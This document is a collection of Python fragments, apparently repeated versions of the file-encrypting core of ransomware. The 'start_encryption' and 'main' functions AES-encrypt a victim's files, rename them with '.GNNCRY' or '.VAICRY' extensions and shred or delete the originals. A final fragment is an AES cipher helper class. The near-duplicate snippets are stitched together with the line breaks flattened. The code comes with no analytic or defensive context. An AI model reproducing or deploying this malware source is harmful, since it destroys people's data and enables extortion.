def start_encryption(files): AES_and_base64_path = [] for found_file in files: key = generate_keys.generate_key(128, True) AES_obj = symmetric.AESCipher(key) found_file = base64.b64decode(found_file) try: with open(found_file, 'rb') as f: file_content = f.read() except: continue encrypted = AES_obj.encrypt(file_content) utils.shred(found_file) new_file_name = found_file.decode('utf-8') + ".GNNCRY" with open(new_file_name, 'wb') as f: f.write(encrypted) base64_new_file_name = base64.b64encode(new_file_name) AES_and_base64_path.append((key, base64_new_file_name)) return AES_and_base64_path
def start_encryption(files): if (not files): return None AES_and_base64_path = [] for found_file in files: key = generate_keys.generate_key(128, True) AES_obj = symmetric.AESCipher(key) found_file = base64.b64decode(found_file) with open(found_file, 'rb') as f: file_content = f.read() encrypted = AES_obj.encrypt(file_content) shred(found_file) new_file_name = found_file + ".GNNCRY" with open(new_file_name, 'wb') as f: f.write(encrypted) base64_new_file_name = base64.b64encode(new_file_name) # list of tuples of AES_key and base64(path) AES_and_base64_path.append((key, base64_new_file_name)) return AES_and_base64_path
def start_encryption(files): AES_and_base64_path = [] for found_file in files: key = generate_keys.generate_key(128, True) AES_obj = symmetric.AESCipher(key) # found_file = base64.b64decode(found_file) # try open the file to encrypt it try: with open(found_file, 'rb') as f: file_content = f.read() except: continue encrypted = AES_obj.encrypt(file_content) # destroyed found_file. That is, replace it with random chars. shred(found_file) # append the encrypted one at the end. new_file_name = found_file + ".GNNCRY".encode() with open(new_file_name, 'wb') as f: f.write(encrypted) base64_new_file_name = base64.b64encode(new_file_name) # list of tuples of AES_key and base64(path) AES_and_base64_path.append((key, base64_new_file_name)) return AES_and_base64_path
def main(path): files = get_files.find_files(path) path_n_keys = [] for found_file in files: key = generate_keys.generate_key(32, True) with open(found_file, 'rb') as f: file_content = f.read() encrypted = encrypt.encrypt(file_content, key) new_file_name = found_file + ".GNNCRY" with open(new_file_name, 'wb') as f: f.write(encrypted) path_n_keys.append((new_file_name, key)) os.remove(found_file) pickle.dump(path_n_keys, open('teste/keys.key', 'w'))
def start_encryption(files): if (not files): return None for found_file in files: key = generate_keys.generate_key(128, True) AES_obj = symmetric.AESCipher(key) found_file = base64.b64decode(found_file) with open(found_file, 'rb') as f: file_content = f.read() encrypted = AES_obj.encrypt(file_content) utils.shred(found_file) new_file_name = found_file + ".GNNCRY" with open(new_file_name, 'wb') as f: f.write(encrypted) yield (key, base64.b64encode(new_file_name))
def start_encryption(files): aes_paths = [] for f in files: key = generate_keys.generate_key(128) AES_cipher = sym.AESCipher(key) #f = base64.b64decode(f) try: with open(f, 'rb') as fi: file_content = fi.read() except: continue enc_file_content = AES_cipher.encrypt(file_content.decode('utf-8')) new_file_name = f + ".VAICRY" with open(new_file_name, 'wb') as fi: fi.write(enc_file_content) os.remove(f) #b64_file_name = base64.b64encode(new_file_name) #aes_path.append((key,b64_file_name)) aes_paths.append((key, new_file_name)) return aes_paths
cipher = AES.new(self.key, AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(raw)) def decrypt(self, enc, decryption_key = None): enc = base64.b64decode(enc) iv = enc[:AES.block_size] if(decryption_key): self.key = hashlib.sha256(decryption_key).digest() #print(self.key) #self.key = (decryption_key) #print(self.key,len(self.key)) cipher = AES.new(self.key, AES.MODE_CBC, iv) return self.unpad(cipher.decrypt(enc[AES.block_size:])) def pad(self, s): #s = s.decode('utf-8') return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) def unpad(self,s): return s[:-ord(s[len(s)-1:])] key = generate_keys.generate_key(32,True) print("Key is ",key) cipher_obj = AESCipher(key) enc = cipher_obj.encrypt("This is my plaintext") print("Encrypted text is", base64.b64decode(enc)) back = cipher_obj.decrypt(enc, key) print("Decrypted text is",back)